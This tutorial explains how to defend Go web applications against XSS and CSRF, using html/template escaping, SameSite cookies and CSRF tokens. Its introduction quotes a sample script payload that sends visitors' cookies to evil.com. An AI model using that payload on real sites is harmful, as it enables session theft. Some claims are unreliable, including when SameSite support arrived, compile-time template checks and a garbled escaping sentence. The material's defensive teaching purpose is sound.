The two doors you must lock
You ship a simple feedback form. A user types a name, hits submit, and the server saves it. Everything works until someone enters <script>document.location='http://evil.com/steal?c='+document.cookie</script>. Suddenly every visitor loads a malicious redirect. Or an attacker sends a crafted link to a logged-in user. The browser follows it, attaches the session cookie automatically, and transfers funds without the user clicking anything. These are XSS and CSRF. They sound like security jargon, but they boil down to two concrete failures: treating untrusted input as executable code, and trusting a request just because it carries a valid cookie.
How the attacks actually work
XSS happens when your server outputs raw user data into an HTML response. The browser does not distinguish between your application code and the string you just printed. It executes whatever tags it finds. You stop this by ensuring every piece of user data is converted into harmless text before it reaches the browser.
CSRF exploits the browser's automatic cookie behavior. When you log into a site, the server sets a cookie. The browser sends that cookie with every request to that domain. An attacker builds a page on their own domain that submits a form to your server. Your server receives the request, sees the valid cookie, and assumes the user intended to perform the action. You stop this by restricting when cookies are sent, or by requiring a secret value that only your own pages can provide.
Stop XSS with automatic escaping
Go removes most XSS risk by design. The html/template package parses your HTML, identifies where data will be inserted, and escapes it based on context. You do not manually call escape functions. You pass a map or struct, and the engine handles the rest.
Here is the minimal pattern for rendering user input safely.
package main
import (
"html/template"
"net/http"
)
// renderComment writes a safe HTML response containing user input.
func renderComment(w http.ResponseWriter, r *http.Request) {
// Parse the template once. The engine tracks insertion points.
tmpl, err := template.New("comment").Parse(`
<!DOCTYPE html>
<html>
<body>
<p>Author: {{.Name}}</p>
<p>Message: {{.Body}}</p>
</body>
</html>
`)
if err != nil {
// Template syntax errors halt compilation. Fail fast.
http.Error(w, "template error", http.StatusInternalServerError)
return
}
// Collect raw form values. These are untrusted strings.
name := r.FormValue("name")
body := r.FormValue("body")
// Execute writes to the response writer. Context-aware escaping happens here.
err = tmpl.Execute(w, map[string]string{
"Name": name,
"Body": body,
})
if err != nil {
// Execution errors usually mean broken response writers.
http.Error(w, "render error", http.StatusInternalServerError)
}
}
func main() {
http.HandleFunc("/comment", renderComment)
http.ListenAndServe(":8080", nil)
}
The template engine looks at {{.Body}} and sees it sits inside a <p> tag. It converts < to <, > to >, and & to &. If you later move that variable into a title attribute or a <script> block, the engine switches to attribute or JavaScript escaping automatically. You never guess which characters need protection. The compiler catches template syntax mistakes early. If you forget a closing brace or mismatch quotes, you get template: pattern matches no files or template: undefined variable during parsing, not at runtime.
Never concatenate strings to build HTML. The moment you use fmt.Fprintf(w, "<p>%s</p>", userInput), you bypass the engine and hand the browser raw instructions. Trust the template package. It exists to keep you out of the escaping business.
Stop CSRF with cookies and tokens
CSRF defense requires two layers. First, tell the browser to stop sending cookies to cross-origin requests. Second, require a secret token for state-changing operations. Go 1.21+ made the first layer trivial with SameSite cookie attributes. The second layer uses a short-lived random string stored in a session or hidden form field.
Here is a realistic handler that combines both defenses.
package main
import (
"crypto/rand"
"encoding/hex"
"net/http"
"time"
)
// generateToken creates a cryptographically secure random string.
func generateToken() string {
// Read 32 random bytes. OS entropy is fast and reliable.
b := make([]byte, 32)
_, err := rand.Read(b)
if err != nil {
// Fallback should never happen on modern systems.
panic("crypto/rand failed")
}
// Encode to hex for safe URL and form transmission.
return hex.EncodeToString(b)
}
// handleForm renders the page and sets a SameSite cookie.
func handleForm(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodPost {
// Validate the CSRF token before processing.
token := r.FormValue("csrf_token")
cookie, err := r.Cookie("csrf_token")
if err != nil || cookie.Value != token {
http.Error(w, "invalid request", http.StatusForbidden)
return
}
// Process the form. The token matched, so the request is genuine.
w.WriteHeader(http.StatusOK)
w.Write([]byte("Success"))
return
}
// Generate a fresh token for GET requests.
token := generateToken()
// Set the cookie with SameSite=Lax to block cross-site POSTs.
http.SetCookie(w, &http.Cookie{
Name: "csrf_token",
Value: token,
Path: "/",
SameSite: http.SameSiteLaxMode,
MaxAge: 3600,
})
// Render the form with the token embedded.
w.Header().Set("Content-Type", "text/html")
w.Write([]byte("<form method='POST'><input type='hidden' name='csrf_token' value='" + token + "'><button>Submit</button></form>"))
}
func main() {
http.HandleFunc("/form", handleForm)
http.ListenAndServe(":8080", nil)
}
The SameSite=Lax attribute tells modern browsers to only attach the cookie when the navigation originates from your own site. A cross-site POST from an attacker's page will not carry the cookie. The server still validates the token because older browsers ignore SameSite, and because defense in depth matters. The token is generated once per session, stored in a cookie, and echoed in a hidden form field. When the form submits, the server compares the two values. If they match, the request came from your page.
Go conventions keep this pattern clean. Receiver names are short and match the type, like (h *Handler) ServeHTTP. Error handling stays explicit with if err != nil { return err }. The verbosity is intentional. It forces you to acknowledge failure paths instead of swallowing them. Context always travels as the first parameter, named ctx, so cancellation propagates cleanly through long-running request handlers.
Where things go wrong
Developers usually break security by reaching for the wrong tool or skipping a single attribute.
Using text/template instead of html/template is the most common XSS mistake. The text package does not escape HTML entities. It assumes you are generating plain text, SQL, or Go code. If you pass user input to text/template and write the result to an HTTP response, the browser executes it. The compiler will not stop you. You get a working program that silently leaks scripts.
Forgetting SameSite on cookies leaves CSRF wide open. The default behavior in older Go versions was SameSite=None, which means the browser sends the cookie everywhere. Modern browsers warn about it, but they still send it until you explicitly set SameSiteLaxMode or SameSiteStrictMode. If you need cross-site cookie sharing for embedded iframes, you must set SameSiteNoneMode and pair it with Secure=true. The browser will reject SameSite=None cookies on HTTP connections.
Hardcoding tokens or using weak randomness invites forgery. rand.Intn() from the math/rand package is deterministic and seeded by time. An attacker can predict the sequence. Always use crypto/rand for security material. The compiler rejects unused imports with imported and not used, so you cannot accidentally leave math/rand in your file without the linter catching it.
Template parsing errors surface at startup, not during requests. If you pass a malformed template string, template.Parse returns an error immediately. Handle it. Returning a 500 status code is better than panicking in a handler. The worst goroutine bug is the one that never logs. Always capture template errors and fail gracefully.
Which tool fits your stack
Use html/template when you render HTML, SVG, or any markup that the browser will parse. Use text/template when you generate plain text, configuration files, or code snippets. Use SameSiteLaxMode cookies when you need standard login sessions that survive normal navigation but block cross-site form submissions. Use SameSiteStrictMode cookies when you handle sensitive financial or administrative actions that must never trigger from external links. Use a CSRF token validation step when you support older browsers or need defense in depth beyond cookie attributes. Use crypto/rand for all security material. Never use math/rand for tokens, passwords, or session IDs. Use context.Context as the first parameter in every request handler so timeouts and cancellations propagate correctly. Use gofmt on every file. The community expects consistent formatting, and fighting indentation wastes time that should go to logic.
Security is not a feature you add at the end. It is the default behavior of your tools. Pick the right template package, set the right cookie attributes, and validate every state-changing request. The browser will do the heavy lifting if you give it clear instructions.